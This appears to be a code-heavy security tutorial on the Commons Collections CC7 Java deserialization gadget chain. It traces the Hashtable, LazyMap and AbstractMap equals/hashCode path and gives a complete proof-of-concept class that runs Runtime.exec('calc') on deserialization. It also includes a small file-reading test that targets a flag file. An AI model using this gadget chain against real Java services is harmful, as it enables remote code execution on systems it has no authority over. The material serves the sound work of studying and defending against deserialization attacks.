When the get(Object) method is called with a key that does not exist in the map, the factory is used to create the object. The created object will be added to the map using the requested key.
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key))) 👈Look Me👋
return false;
}
}
} // ...error catch
return true;
}
// AbstractMapDecorator#equals
public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object); 👈Look Me👋
}
Transformer[] transformers = new Transformer[] {
new ConstantTransformer((Runtime.class)),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers);
Map map1 = new HashMap();
Map map2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(map1, chain);
Map lazyMap2 = LazyMap.decorate(map2, chain);
lazyMap1.put("1", "2");
lazyMap2.put("3", "4");
lazyMap1.equals(lazyMap2);
// LazyMap#equals -> AbstractMapDecorator#equals -> HashMap#equals -> AbstractMap#equals -> LazyMap#get
// The put method used by readObject
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
// Makes sure the key is not already in the hashtable.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length; 💭 最初put时tab.length=0, 即index=0
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) { 👈Look Me👋
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e); 💭 Entry的hash即为key的hash
count++;
}
// AbstractMapDecorator#hashCode
public int hashCode() {
return map.hashCode();
}
// AbstractMap#hashCode
public int hashCode() {
int h = 0;
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext())
h += i.next().hashCode();
return h;
}
// HashMap$Node#hashCode
public final int hashCode() {
return Objects.hashCode(key) ^ Objects.hashCode(value);
}
// String
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7 {
public static void main(String[] args) throws Exception {
Transformer[] fake = new Transformer[]{new ConstantTransformer(2)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer((Runtime.class)),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(fake);
Map map1 = new HashMap();
Map map2 = new HashMap();
Map lazyMap2 = LazyMap.decorate(map2, chain);
map1.put("yy", 1);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(map1, 1);
hashtable.put(lazyMap2, 2);
lazyMap2.remove("yy");
//输出两个元素的hash值
System.out.println("lazyMap1 hashcode:" + map1.hashCode());
System.out.println("lazyMap2 hashcode:" + lazyMap2.hashCode());
setValue(chain, "iTransformers", transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashtable);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
public static void setValue(Object obj, String fieldName, Object newValue) throws Exception {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}
}
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value); 💭 recursive call begin✌️
return value;
}
return map.get(key);
}
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;
public class Test {
public static void main(String[] args) throws Exception {
URL url = new URL("file:///E:/flag.txt");
URLConnection connection = url.openConnection();
InputStream inputStream = connection.getInputStream();
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = inputStream.read(buffer)) != -1) {
String content = new String(buffer, 0, bytesRead);
System.out.println(content);
}
inputStream.close();
}
}
public Object transform(Object input) {
iClosure.execute(input);
return input;
}
// TransformerClosure
public void execute(Object input) {
iTransformer.transform(input);
}
// ForClosure
public void execute(Object input) {
for (int i = 0; i < iCount; i++) {
iClosure.execute(input);
}
}
// NOPClosure
public void execute(Object input) {
// do nothing
}
// ExceptionClosure
public void execute(Object input) {
throw new FunctorException("ExceptionClosure invoked");
}
// IfClosure
public void execute(Object input) {
if (iPredicate.evaluate(input) == true) {
iTrueClosure.execute(input);
} else {
iFalseClosure.execute(input);
}
}
// EqualPredicate
public boolean evaluate(Object object) {
return (iValue.equals(object));
}